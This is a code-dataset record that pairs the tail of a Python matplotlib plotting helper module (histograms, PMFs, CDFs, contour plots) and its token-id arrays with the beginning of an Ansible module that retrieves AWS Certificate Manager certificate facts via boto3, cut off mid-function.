"Check for non-numeric types in Hist."
"Or try providing width option."
)
options = _Underride(options, label=hist.label)
options = _Underride(options, align='center')
if options['align'] == 'left':
options['align'] = 'edge'
elif options['align'] == 'right':
options['align'] = 'edge'
options['width'] *= -1
Bar(xs, ys, **options)
def Hists(hists, **options):
"""Plots two histograms as interleaved bar plots.
Options are passed along for all PMFs. If you want different
options for each pmf, make multiple calls to Pmf.
Args:
hists: list of two Hist or Pmf objects
options: keyword args passed to plt.plot
"""
for hist in hists:
Hist(hist, **options)
def Pmf(pmf, **options):
"""Plots a Pmf or Hist as a line.
Args:
pmf: Hist or Pmf object
options: keyword args passed to plt.plot
"""
xs, ys = pmf.Render()
low, high = min(xs), max(xs)
width = options.pop('width', None)
if width is None:
try:
width = np.diff(xs).min()
except TypeError:
warnings.warn("Pmf: Can't compute bar width automatically."
"Check for non-numeric types in Pmf."
"Or try providing width option.")
points = []
lastx = np.nan
lasty = 0
for x, y in zip(xs, ys):
if (x - lastx) > 1e-5:
points.append((lastx, 0))
points.append((x, 0))
points.append((x, lasty))
points.append((x, y))
points.append((x+width, y))
lastx = x + width
lasty = y
points.append((lastx, 0))
pxs, pys = zip(*points)
align = options.pop('align', 'center')
if align == 'center':
pxs = np.array(pxs) - width/2.0
if align == 'right':
pxs = np.array(pxs) - width
options = _Underride(options, label=pmf.label)
Plot(pxs, pys, **options)
def Pmfs(pmfs, **options):
"""Plots a sequence of PMFs.
Options are passed along for all PMFs. If you want different
options for each pmf, make multiple calls to Pmf.
Args:
pmfs: sequence of PMF objects
options: keyword args passed to plt.plot
"""
for pmf in pmfs:
Pmf(pmf, **options)
def Diff(t):
"""Compute the differences between adjacent elements in a sequence.
Args:
t: sequence of number
Returns:
sequence of differences (length one less than t)
"""
diffs = [t[i+1] - t[i] for i in range(len(t)-1)]
return diffs
def Cdf(cdf, complement=False, transform=None, **options):
"""Plots a CDF as a line.
Args:
cdf: Cdf object
complement: boolean, whether to plot the complementary CDF
transform: string, one of 'exponential', 'pareto', 'weibull', 'gumbel'
options: keyword args passed to plt.plot
Returns:
dictionary with the scale options that should be passed to
Config, Show or Save.
"""
xs, ps = cdf.Render()
xs = np.asarray(xs)
ps = np.asarray(ps)
scale = dict(xscale='linear', yscale='linear')
for s in ['xscale', 'yscale']:
if s in options:
scale[s] = options.pop(s)
if transform == 'exponential':
complement = True
scale['yscale'] = 'log'
if transform == 'pareto':
complement = True
scale['yscale'] = 'log'
scale['xscale'] = 'log'
if complement:
ps = [1.0-p for p in ps]
if transform == 'weibull':
xs = np.delete(xs, -1)
ps = np.delete(ps, -1)
ps = [-math.log(1.0-p) for p in ps]
scale['xscale'] = 'log'
scale['yscale'] = 'log'
if transform == 'gumbel':
xs = np.delete(xs, 0)
ps = np.delete(ps, 0)
ps = [-math.log(p) for p in ps]
scale['yscale'] = 'log'
options = _Underride(options, label=cdf.label)
Plot(xs, ps, **options)
return scale
def Cdfs(cdfs, complement=False, transform=None, **options):
"""Plots a sequence of CDFs.
cdfs: sequence of CDF objects
complement: boolean, whether to plot the complementary CDF
transform: string, one of 'exponential', 'pareto', 'weibull', 'gumbel'
options: keyword args passed to plt.plot
"""
for cdf in cdfs:
Cdf(cdf, complement, transform, **options)
def Contour(obj, pcolor=False, contour=True, imshow=False, **options):
"""Makes a contour plot.
d: map from (x, y) to z, or object that provides GetDict
pcolor: boolean, whether to make a pseudocolor plot
contour: boolean, whether to make a contour plot
imshow: boolean, whether to use plt.imshow
options: keyword args passed to plt.pcolor and/or plt.contour
"""
try:
d = obj.GetDict()
except AttributeError:
d = obj
_Underride(options, linewidth=3, cmap=matplotlib.cm.Blues)
xs, ys = zip(*d.keys())
xs = sorted(set(xs))
ys = sorted(set(ys))
X, Y = np.meshgrid(xs, ys)
func = lambda x, y: d.get((x, y), 0)
func = np.vectorize(func)
Z = func(X, Y)
x_formatter = matplotlib.ticker.ScalarFormatter(useOffset=False)
axes = plt.gca()
axes.xaxis.set_major_formatter(x_formatter)
if pcolor:
plt.pcolormesh(X, Y, Z, **options)
if contour:
cs = plt.contour(X, Y, Z, **options)
plt.clabel(cs, inline=1, fontsize=10)
if imshow:
extent = xs[0], xs[-1], ys[0], ys[-1]
plt.imshow(Z, extent=extent, **options)
def Pcolor(xs, ys, zs, pcolor=True, contour=False, **options):
"""Makes a pseudocolor plot.
xs:
ys:
zs:
pcolor: boolean, whether to make a pseudocolor plot
contour: boolean, whether to make a contour plot
options: keyword args passed to plt.pcolor and/or plt.contour
"""
_Underride(options, linewidth=3, cmap=matplotlib.cm.Blues)
X, Y = np.meshgrid(xs, ys)
Z = zs
x_formatter = matplotlib.ticker.ScalarFormatter(useOffset=False)
axes = plt.gca()
axes.xaxis.set_major_formatter(x_formatter)
if pcolor:
plt.pcolormesh(X, Y, Z, **options)
if contour:
cs = plt.contour(X, Y, Z, **options)
plt.clabel(cs, inline=1, fontsize=10)
def Text(x, y, s, **options):
"""Puts text in a figure.
x: number
y: number
s: string
options: keyword args passed to plt.text
"""
options = _Underride(options,
fontsize=16,
verticalalignment='top',
horizontalalignment='left')
plt.text(x, y, s, **options)
LEGEND = True
LOC = None
def Config(**options):
"""Configures the plot.
Pulls options out of the option dictionary and passes them to
the corresponding plt functions.
"""
names = ['title', 'xlabel', 'ylabel', 'xscale', 'yscale',
'xticks', 'yticks', 'axis', 'xlim', 'ylim']
for name in names:
if name in options:
getattr(plt, name)(options[name])
global LEGEND
LEGEND = options.get('legend', LEGEND)
# see if there are any elements with labels;
# if not, don't draw a legend
ax = plt.gca()
handles, labels = ax.get_legend_handles_labels()
if LEGEND and len(labels) > 0:
global LOC
LOC = options.get('loc', LOC)
frameon = options.get('frameon', True)
try:
plt.legend(loc=LOC, frameon=frameon)
except UserWarning:
pass
# x and y ticklabels can be made invisible
val = options.get('xticklabels', None)
if val is not None:
if val == 'invisible':
ax = plt.gca()
labels = ax.get_xticklabels()
plt.setp(labels, visible=False)
val = options.get('yticklabels', None)
if val is not None:
if val == 'invisible':
ax = plt.gca()
labels = ax.get_yticklabels()
plt.setp(labels, visible=False)
def set_font_size(title_size=16, label_size=16, ticklabel_size=14, legend_size=14):
"""Set font sizes for the title, labels, ticklabels, and legend.
"""
def set_text_size(texts, size):
for text in texts:
text.set_size(size)
ax = plt.gca()
# TODO: Make this function more robust if any of these elements
# is missing.
# title
ax.title.set_size(title_size)
# x axis
ax.xaxis.label.set_size(label_size)
set_text_size(ax.xaxis.get_ticklabels(), ticklabel_size)
# y axis
ax.yaxis.label.set_size(label_size)
set_text_size(ax.yaxis.get_ticklabels(), ticklabel_size)
# legend
legend = ax.get_legend()
if legend is not None:
set_text_size(legend.texts, legend_size)
def bigger_text():
sizes = dict(title_size=16, label_size=16, ticklabel_size=14, legend_size=14)
set_font_size(**sizes)
def Show(**options):
"""Shows the plot.
For options, see Config.
options: keyword args used to invoke various plt functions
"""
clf = options.pop('clf', True)
Config(**options)
plt.show()
if clf:
Clf()
def Plotly(**options):
"""Shows the plot.
For options, see Config.
options: keyword args used to invoke various plt functions
"""
clf = options.pop('clf', True)
Config(**options)
import plotly.plotly as plotly
url = plotly.plot_mpl(plt.gcf())
if clf:
Clf()
return url
def Save(root=None, formats=None, **options):
"""Saves the plot in the given formats and clears the figure.
For options, see Config.
Note: With a capital S, this is the original save, maintained for
compatibility. New code should use save(), which works better
with my newer code, especially in Jupyter notebooks.
Args:
root: string filename root
formats: list of string formats
options: keyword args used to invoke various plt functions
"""
clf = options.pop('clf', True)
save_options = {}
for option in ['bbox_inches', 'pad_inches']:
if option in options:
save_options[option] = options.pop(option)
# TODO: falling Config inside Save was probably a mistake, but removing
# it will require some work
Config(**options)
if formats is None:
formats = ['pdf', 'png']
try:
formats.remove('plotly')
Plotly(clf=False)
except ValueError:
pass
if root:
for fmt in formats:
SaveFormat(root, fmt, **save_options)
if clf:
Clf()
def save(root, formats=None, **options):
"""Saves the plot in the given formats and clears the figure.
For options, see plt.savefig.
Args:
root: string filename root
formats: list of string formats
options: keyword args passed to plt.savefig
"""
if formats is None:
formats = ['pdf', 'png']
try:
formats.remove('plotly')
Plotly(clf=False)
except ValueError:
pass
for fmt in formats:
SaveFormat(root, fmt, **options)
def SaveFormat(root, fmt='eps', **options):
"""Writes the current figure to a file in the given format.
Args:
root: string filename root
fmt: string format
"""
_Underride(options, dpi=300)
filename = '%s.%s' % (root, fmt)
print('Writing', filename)
plt.savefig(filename, format=fmt, **options)
# provide aliases for calling functions with lower-case names
preplot = PrePlot
subplot = SubPlot
clf = Clf
figure = Figure
plot = Plot
vlines = Vlines
hlines = Hlines
fill_between = FillBetween
text = Text
scatter = Scatter
pmf = Pmf
pmfs = Pmfs
hist = Hist
hists = Hists
diff = Diff
cdf = Cdf
cdfs = Cdfs
contour = Contour
pcolor = Pcolor
config = Config
show = Show
def main():
color_iter = _Brewer.ColorGenerator(7)
for color in color_iter:
print(color)
if __name__ == '__main__':
main()
|
mit
|
[
624,
2765,
570,
3509,
1233,
367,
675,
543,
298,
2719,
2292,
29062,
401,
199,
991,
4580,
552,
699,
14,
577,
583,
23263,
12,
2808,
687,
12431,
266,
439,
753,
14,
957,
199,
199,
7384,
6927,
4580,
552,
699,
14,
577,
583,
23263,
199,
3761,
26,
1664,
14629,
86,
19,
1455,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
14,
1360,
199,
624,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
3473,
199,
646,
8027,
199,
646,
8027,
14,
13563,
465,
4488,
199,
646,
2680,
465,
980,
199,
646,
10634,
465,
6454,
199,
199,
646,
3598,
199,
199,
3,
17551,
2005,
8027,
3004,
199,
3,
16440,
14,
1195,
360,
8941,
297,
6085,
890,
2687,
20,
12,
650,
430,
199,
199,
3,
16440,
14,
1195,
360,
4246,
297,
1568,
29,
1079,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
6402,
297,
1768,
890,
29,
1081,
14,
16,
12,
2538,
890,
29,
1081,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
10231,
297,
19740,
29,
1165,
14,
16,
9,
199,
199,
3,
16440,
14,
1195,
360,
88,
8284,
14,
8452,
297,
1568,
29,
22,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
88,
8284,
14,
11067,
297,
1568,
29,
19,
14,
16,
9,
199,
199,
3,
16440,
14,
1195,
360,
89,
8284,
14,
8452,
297,
1568,
29,
22,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
89,
8284,
14,
11067,
297,
1568,
29,
19,
14,
16,
9,
421,
199,
533,
485,
34,
264,
2135,
8,
785,
304,
272,
408,
1327,
12029,
15409,
282,
14213,
3414,
402,
9229,
14,
339,
428,
2411,
3424,
402,
10030,
626,
3648,
6954,
315,
3164,
436,
883,
506,
2917,
14659,
4387,
272,
315,
21977,
3467,
334,
384,
370,
282,
2376,
680,
339,
699,
19598,
379,
687,
1455,
921,
2326,
10205,
2135,
18,
14,
1308,
15,
272,
408,
272,
3164,
63,
1661,
275,
488,
339,
9229,
275,
788,
3,
70,
23,
4675,
556,
297,
3943,
271,
2871,
70,
23,
297,
3943,
67,
22,
697,
2829,
297,
1598,
3943,
25,
69,
696,
69,
17,
297,
3943,
22,
2470,
379,
22,
297,
3943,
14372,
18,
67,
22,
297,
1598,
3943,
9335,
17,
66,
21,
24205,
17494,
1167,
67,
24205,
2036,
11363,
66,
3488,
21123,
17,
61,
339,
327,
5548,
626,
6623,
1314,
9229,
370,
675,
10298,
641,
4212,
5002,
787,
1202,
272,
1314,
63,
7120,
275,
3474,
467,
490,
359,
17,
467,
490,
359,
17,
12,
650,
467,
490,
359,
16,
12,
499,
12,
841,
467,
490,
359,
16,
12,
499,
12,
841,
12,
1227,
467,
490,
359,
16,
12,
499,
12,
650,
12,
959,
12,
1227,
467,
490,
359,
16,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
467,
490,
359,
16,
12,
413,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
467,
490,
359,
16,
12,
413,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
12,
1520,
467,
490,
359,
16,
12,
413,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
12,
1520,
12,
1695,
467,
490,
1622,
339,
1453,
63,
8941,
275,
488,
339,
768,
3744,
272,
347,
3626,
1384,
8,
1886,
304,
267,
408,
3407,
314,
769,
402,
9229,
14,
267,
408,
267,
372,
843,
14,
7120,
339,
768,
3744,
272,
347,
11581,
7599,
8,
1886,
12,
1967,
304,
267,
408,
3407,
376,
6122,
402,
3164,
3326,
14,
398,
302,
26,
4212,
5002,
9229,
911,
506,
1202,
267,
408,
267,
367,
284,
315,
843,
14,
6777,
63,
7120,
59,
1507,
2189,
288,
1995,
843,
14,
7120,
59,
73,
61,
267,
746,
10852,
360,
50,
290,
734,
402,
9229,
315,
485,
34,
264,
2135,
2659,
339,
768,
3744,
272,
347,
21026,
3315,
8,
1886,
12,
1967,
304,
267,
408,
23489,
314,
3164,
6122,
543,
314,
1627,
1329,
402,
9229,
1041,
267,
843,
14,
2326,
63,
1661,
275,
843,
14,
4117,
7599,
8,
1507,
9,
267,
6085,
275,
4488,
14,
71,
2177,
342,
267,
843,
14,
1818,
63,
8941,
275,
6085,
339,
768,
3744,
272,
347,
14836,
3315,
8,
1886,
304,
267,
408,
9899,
314,
3164,
6122,
370,
488,
1041,
267,
843,
14,
2326,
63,
1661,
275,
488,
267,
843,
14,
1818,
63,
8941,
275,
488,
339,
768,
3744,
272,
347,
2372,
3315,
8,
1886,
12,
1967,
304,
267,
408,
14426,
314,
3164,
6122,
1041,
267,
6085,
275,
4488,
14,
71,
2177,
342,
267,
340,
6085,
1137,
843,
14,
1818,
63,
8941,
26,
288,
843,
14,
9346,
3315,
8,
1507,
9,
288,
843,
14,
1818,
63,
8941,
275,
6085,
398,
340,
843,
14,
2326,
63,
1661,
365,
488,
26,
288,
843,
14,
9346,
3315,
8,
1507,
9,
398,
372,
843,
14,
2326,
63,
1661,
421,
199,
318,
485,
16001,
2188,
4117,
8,
1419,
304,
272,
408,
3917,
3164,
365,
440,
315,
314,
1511,
12,
2468,
32128,
282,
3164,
14,
272,
408,
272,
340,
283,
2326,
7,
315,
1511,
26,
267,
372,
1511,
339,
327,
664,
314,
1453,
3164,
6122,
27,
340,
2337,
365,
7179,
12,
4205,
1373,
272,
3164,
63,
1661,
275,
485,
34,
264,
2135,
14,
1002,
3315,
8,
21,
9,
339,
862,
26,
267,
1511,
459,
2326,
418,
275,
2163,
8,
2326,
63,
1661,
9,
272,
871,
10852,
26,
267,
327,
340,
1265,
1255,
734,
402,
9229,
12,
8265,
314,
3164,
6122,
267,
327,
436,
862,
4020,
267,
3598,
14,
4050,
360,
50,
290,
734,
402,
9229,
14,
221,
24175,
1806,
2659,
267,
485,
34,
264,
2135,
14,
9721,
3315,
342,
267,
485,
16001,
2188,
4117,
8,
1419,
9,
339,
372,
1511,
421,
199,
318,
5543,
10711,
8,
1507,
29,
403,
12,
4730,
29,
403,
12,
8850,
29,
403,
304,
272,
408,
32488,
18069,
3595,
4052,
1159,
17262,
14,
339,
1967,
26,
1329,
402,
2385,
626,
911,
506,
5137,
471,
272,
4730,
26,
1329,
402,
4730,
402,
1007,
13701,
272,
8850,
26,
1329,
402,
4362,
402,
1007,
13701,
272,
408,
272,
340,
1967,
26,
267,
485,
34,
264,
2135,
14,
9346,
3315,
8,
1507,
9,
339,
340,
4730,
365,
488,
436,
8850,
365,
488,
26,
267,
372,
339,
340,
4730,
365,
440,
488,
436,
8850,
365,
488,
26,
267,
8850,
275,
413,
339,
340,
8850,
365,
440,
488,
436,
4730,
365,
488,
26
] |
[
2765,
570,
3509,
1233,
367,
675,
543,
298,
2719,
2292,
29062,
401,
199,
991,
4580,
552,
699,
14,
577,
583,
23263,
12,
2808,
687,
12431,
266,
439,
753,
14,
957,
199,
199,
7384,
6927,
4580,
552,
699,
14,
577,
583,
23263,
199,
3761,
26,
1664,
14629,
86,
19,
1455,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
14,
1360,
199,
624,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
3473,
199,
646,
8027,
199,
646,
8027,
14,
13563,
465,
4488,
199,
646,
2680,
465,
980,
199,
646,
10634,
465,
6454,
199,
199,
646,
3598,
199,
199,
3,
17551,
2005,
8027,
3004,
199,
3,
16440,
14,
1195,
360,
8941,
297,
6085,
890,
2687,
20,
12,
650,
430,
199,
199,
3,
16440,
14,
1195,
360,
4246,
297,
1568,
29,
1079,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
6402,
297,
1768,
890,
29,
1081,
14,
16,
12,
2538,
890,
29,
1081,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
10231,
297,
19740,
29,
1165,
14,
16,
9,
199,
199,
3,
16440,
14,
1195,
360,
88,
8284,
14,
8452,
297,
1568,
29,
22,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
88,
8284,
14,
11067,
297,
1568,
29,
19,
14,
16,
9,
199,
199,
3,
16440,
14,
1195,
360,
89,
8284,
14,
8452,
297,
1568,
29,
22,
14,
16,
9,
199,
3,
16440,
14,
1195,
360,
89,
8284,
14,
11067,
297,
1568,
29,
19,
14,
16,
9,
421,
199,
533,
485,
34,
264,
2135,
8,
785,
304,
272,
408,
1327,
12029,
15409,
282,
14213,
3414,
402,
9229,
14,
339,
428,
2411,
3424,
402,
10030,
626,
3648,
6954,
315,
3164,
436,
883,
506,
2917,
14659,
4387,
272,
315,
21977,
3467,
334,
384,
370,
282,
2376,
680,
339,
699,
19598,
379,
687,
1455,
921,
2326,
10205,
2135,
18,
14,
1308,
15,
272,
408,
272,
3164,
63,
1661,
275,
488,
339,
9229,
275,
788,
3,
70,
23,
4675,
556,
297,
3943,
271,
2871,
70,
23,
297,
3943,
67,
22,
697,
2829,
297,
1598,
3943,
25,
69,
696,
69,
17,
297,
3943,
22,
2470,
379,
22,
297,
3943,
14372,
18,
67,
22,
297,
1598,
3943,
9335,
17,
66,
21,
24205,
17494,
1167,
67,
24205,
2036,
11363,
66,
3488,
21123,
17,
61,
339,
327,
5548,
626,
6623,
1314,
9229,
370,
675,
10298,
641,
4212,
5002,
787,
1202,
272,
1314,
63,
7120,
275,
3474,
467,
490,
359,
17,
467,
490,
359,
17,
12,
650,
467,
490,
359,
16,
12,
499,
12,
841,
467,
490,
359,
16,
12,
499,
12,
841,
12,
1227,
467,
490,
359,
16,
12,
499,
12,
650,
12,
959,
12,
1227,
467,
490,
359,
16,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
467,
490,
359,
16,
12,
413,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
467,
490,
359,
16,
12,
413,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
12,
1520,
467,
490,
359,
16,
12,
413,
12,
499,
12,
650,
12,
841,
12,
959,
12,
1227,
12,
1520,
12,
1695,
467,
490,
1622,
339,
1453,
63,
8941,
275,
488,
339,
768,
3744,
272,
347,
3626,
1384,
8,
1886,
304,
267,
408,
3407,
314,
769,
402,
9229,
14,
267,
408,
267,
372,
843,
14,
7120,
339,
768,
3744,
272,
347,
11581,
7599,
8,
1886,
12,
1967,
304,
267,
408,
3407,
376,
6122,
402,
3164,
3326,
14,
398,
302,
26,
4212,
5002,
9229,
911,
506,
1202,
267,
408,
267,
367,
284,
315,
843,
14,
6777,
63,
7120,
59,
1507,
2189,
288,
1995,
843,
14,
7120,
59,
73,
61,
267,
746,
10852,
360,
50,
290,
734,
402,
9229,
315,
485,
34,
264,
2135,
2659,
339,
768,
3744,
272,
347,
21026,
3315,
8,
1886,
12,
1967,
304,
267,
408,
23489,
314,
3164,
6122,
543,
314,
1627,
1329,
402,
9229,
1041,
267,
843,
14,
2326,
63,
1661,
275,
843,
14,
4117,
7599,
8,
1507,
9,
267,
6085,
275,
4488,
14,
71,
2177,
342,
267,
843,
14,
1818,
63,
8941,
275,
6085,
339,
768,
3744,
272,
347,
14836,
3315,
8,
1886,
304,
267,
408,
9899,
314,
3164,
6122,
370,
488,
1041,
267,
843,
14,
2326,
63,
1661,
275,
488,
267,
843,
14,
1818,
63,
8941,
275,
488,
339,
768,
3744,
272,
347,
2372,
3315,
8,
1886,
12,
1967,
304,
267,
408,
14426,
314,
3164,
6122,
1041,
267,
6085,
275,
4488,
14,
71,
2177,
342,
267,
340,
6085,
1137,
843,
14,
1818,
63,
8941,
26,
288,
843,
14,
9346,
3315,
8,
1507,
9,
288,
843,
14,
1818,
63,
8941,
275,
6085,
398,
340,
843,
14,
2326,
63,
1661,
365,
488,
26,
288,
843,
14,
9346,
3315,
8,
1507,
9,
398,
372,
843,
14,
2326,
63,
1661,
421,
199,
318,
485,
16001,
2188,
4117,
8,
1419,
304,
272,
408,
3917,
3164,
365,
440,
315,
314,
1511,
12,
2468,
32128,
282,
3164,
14,
272,
408,
272,
340,
283,
2326,
7,
315,
1511,
26,
267,
372,
1511,
339,
327,
664,
314,
1453,
3164,
6122,
27,
340,
2337,
365,
7179,
12,
4205,
1373,
272,
3164,
63,
1661,
275,
485,
34,
264,
2135,
14,
1002,
3315,
8,
21,
9,
339,
862,
26,
267,
1511,
459,
2326,
418,
275,
2163,
8,
2326,
63,
1661,
9,
272,
871,
10852,
26,
267,
327,
340,
1265,
1255,
734,
402,
9229,
12,
8265,
314,
3164,
6122,
267,
327,
436,
862,
4020,
267,
3598,
14,
4050,
360,
50,
290,
734,
402,
9229,
14,
221,
24175,
1806,
2659,
267,
485,
34,
264,
2135,
14,
9721,
3315,
342,
267,
485,
16001,
2188,
4117,
8,
1419,
9,
339,
372,
1511,
421,
199,
318,
5543,
10711,
8,
1507,
29,
403,
12,
4730,
29,
403,
12,
8850,
29,
403,
304,
272,
408,
32488,
18069,
3595,
4052,
1159,
17262,
14,
339,
1967,
26,
1329,
402,
2385,
626,
911,
506,
5137,
471,
272,
4730,
26,
1329,
402,
4730,
402,
1007,
13701,
272,
8850,
26,
1329,
402,
4362,
402,
1007,
13701,
272,
408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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
h3biomed/ansible
|
lib/ansible/modules/cloud/amazon/aws_acm_facts.py
|
13
|
11677
|
#!/usr/bin/python
# Copyright (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = '''
module: aws_acm_facts
short_description: Retrieve certificate facts from AWS Certificate Manager service
description:
- Retrieve facts for ACM certificates
version_added: "2.5"
options:
domain_name:
description:
- The domain name of an ACM certificate to limit the search to
aliases:
- name
statuses:
description:
- Status to filter the certificate results
choices: ['PENDING_VALIDATION', 'ISSUED', 'INACTIVE', 'EXPIRED', 'VALIDATION_TIMED_OUT', 'REVOKED', 'FAILED']
requirements:
- boto3
author:
- Will Thames (@willthames)
extends_documentation_fragment:
- aws
- ec2
'''
EXAMPLES = '''
- name: obtain all ACM certificates
aws_acm_facts:
- name: obtain all facts for a single ACM certificate
aws_acm_facts:
domain_name: "*.example_com"
- name: obtain all certificates pending validiation
aws_acm_facts:
statuses:
- PENDING_VALIDATION
'''
RETURN = '''
certificates:
description: A list of certificates
returned: always
type: complex
contains:
certificate:
description: The ACM Certificate body
returned: when certificate creation is complete
sample: '-----BEGIN CERTIFICATE-----\\nMII.....-----END CERTIFICATE-----\\n'
type: str
certificate_arn:
description: Certificate ARN
returned: always
sample: arn:aws:acm:ap-southeast-2:123456789012:certificate/abcd1234-abcd-1234-abcd-123456789abc
type: str
certificate_chain:
description: Full certificate chain for the certificate
returned: when certificate creation is complete
sample: '-----BEGIN CERTIFICATE-----\\nMII...\\n-----END CERTIFICATE-----\\n-----BEGIN CERTIFICATE-----\\n...'
type: str
created_at:
description: Date certificate was created
returned: always
sample: '2017-08-15T10:31:19+10:00'
type: str
domain_name:
description: Domain name for the certificate
returned: always
sample: '*.example.com'
type: str
domain_validation_options:
description: Options used by ACM to validate the certificate
returned: when certificate type is AMAZON_ISSUED
type: complex
contains:
domain_name:
description: Fully qualified domain name of the certificate
returned: always
sample: example.com
type: str
validation_domain:
description: The domain name ACM used to send validation emails
returned: always
sample: example.com
type: str
validation_emails:
description: A list of email addresses that ACM used to send domain validation emails
returned: always
sample:
- admin@example.com
- postmaster@example.com
type: list
validation_status:
description: Validation status of the domain
returned: always
sample: SUCCESS
type: str
failure_reason:
description: Reason certificate request failed
returned: only when certificate issuing failed
type: str
sample: NO_AVAILABLE_CONTACTS
in_use_by:
description: A list of ARNs for the AWS resources that are using the certificate.
returned: always
sample: []
type: list
issued_at:
description: Date certificate was issued
returned: always
sample: '2017-01-01T00:00:00+10:00'
type: str
issuer:
description: Issuer of the certificate
returned: always
sample: Amazon
type: str
key_algorithm:
description: Algorithm used to generate the certificate
returned: always
sample: RSA-2048
type: str
not_after:
description: Date after which the certificate is not valid
returned: always
sample: '2019-01-01T00:00:00+10:00'
type: str
not_before:
description: Date before which the certificate is not valid
returned: always
sample: '2017-01-01T00:00:00+10:00'
type: str
renewal_summary:
description: Information about managed renewal process
returned: when certificate is issued by Amazon and a renewal has been started
type: complex
contains:
domain_validation_options:
description: Options used by ACM to validate the certificate
returned: when certificate type is AMAZON_ISSUED
type: complex
contains:
domain_name:
description: Fully qualified domain name of the certificate
returned: always
sample: example.com
type: str
validation_domain:
description: The domain name ACM used to send validation emails
returned: always
sample: example.com
type: str
validation_emails:
description: A list of email addresses that ACM used to send domain validation emails
returned: always
sample:
- admin@example.com
- postmaster@example.com
type: list
validation_status:
description: Validation status of the domain
returned: always
sample: SUCCESS
type: str
renewal_status:
description: Status of the domain renewal
returned: always
sample: PENDING_AUTO_RENEWAL
type: str
revocation_reason:
description: Reason for certificate revocation
returned: when the certificate has been revoked
sample: SUPERCEDED
type: str
revoked_at:
description: Date certificate was revoked
returned: when the certificate has been revoked
sample: '2017-09-01T10:00:00+10:00'
type: str
serial:
description: The serial number of the certificate
returned: always
sample: 00:01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f
type: str
signature_algorithm:
description: Algorithm used to sign the certificate
returned: always
sample: SHA256WITHRSA
type: str
status:
description: Status of the certificate in ACM
returned: always
sample: ISSUED
type: str
subject:
description: The name of the entity that is associated with the public key contained in the certificate
returned: always
sample: CN=*.example.com
type: str
subject_alternative_names:
description: Subject Alternative Names for the certificate
returned: always
sample:
- '*.example.com'
type: list
tags:
description: Tags associated with the certificate
returned: always
type: dict
sample:
Application: helloworld
Environment: test
type:
description: The source of the certificate
returned: always
sample: AMAZON_ISSUED
type: str
'''
import traceback
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.ec2 import boto3_conn, ec2_argument_spec, get_aws_connection_info
from ansible.module_utils.ec2 import camel_dict_to_snake_dict, AWSRetry, HAS_BOTO3, boto3_tag_list_to_ansible_dict
try:
import botocore
except ImportError:
pass # caught by imported HAS_BOTO3
@AWSRetry.backoff(tries=5, delay=5, backoff=2.0)
def list_certificates_with_backoff(client, statuses=None):
paginator = client.get_paginator('list_certificates')
kwargs = dict()
if statuses:
kwargs['CertificateStatuses'] = statuses
return paginator.paginate(**kwargs).build_full_result()['CertificateSummaryList']
@AWSRetry.backoff(tries=5, delay=5, backoff=2.0)
def get_certificate_with_backoff(client, certificate_arn):
response = client.get_certificate(CertificateArn=certificate_arn)
# strip out response metadata
return {'Certificate': response['Certificate'],
'CertificateChain': response['CertificateChain']}
@AWSRetry.backoff(tries=5, delay=5, backoff=2.0)
def describe_certificate_with_backoff(client, certificate_arn):
return client.describe_certificate(CertificateArn=certificate_arn)['Certificate']
@AWSRetry.backoff(tries=5, delay=5, backoff=2.0)
def list_certificate_tags_with_backoff(client, certificate_arn):
return client.list_tags_for_certificate(CertificateArn=certificate_arn)['Tags']
def get_certificates(client, module, domain_name=None, statuses=None):
try:
all_certificates = list_certificates_with_backoff(client, statuses)
except botocore.exceptions.ClientError as e:
module.fail_json(msg="Couldn't obtain certificates",
exception=traceback.format_exc(),
**camel_dict_to_snake_dict(e.response))
if domain_name:
certificates = [cert for cert in all_certificates
if cert['DomainName'] == domain_name]
else:
certificates = all_certificates
results = []
for certificate in certificates:
try:
cert_data = describe_certificate_with_backoff(client, certificate['CertificateArn'])
except botocore.exceptions.ClientError as e:
module.fail_json(msg="Couldn't obtain certificate metadata for domain %s" % certificate['DomainName'],
exception=traceback.format_exc(),
**camel_dict_to_snake_dict(e.response))
try:
cert_data.update(get_certificate_with_backoff(client, certificate['CertificateArn']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] != "RequestInProgressException":
module.fail_json(msg="Couldn't obtain certificate data for domain %s" % certificate['DomainName'],
exception=traceback.format_exc(),
**camel_dict_to_snake_dict(e.response))
cert_data = camel_dict_to_snake_dict(cert_data)
try:
tags = list_certificate_tags_with_backoff(client, certificate['CertificateArn'])
except botocore.exceptions.ClientError as e:
module.fail_json(msg="Couldn't obtain tags for domain %s" % certificate['DomainName'],
exception=traceback.format_exc(),
**camel_dict_to_snake_dict(e.response))
cert_data['tags'] = boto3_tag_list_to_ansible_dict(tags)
results.append(cert_data)
return results
def main():
argument_spec = ec2_argument_spec()
argument_spec.update(
dict(
domain_name=dict(aliases=['name']),
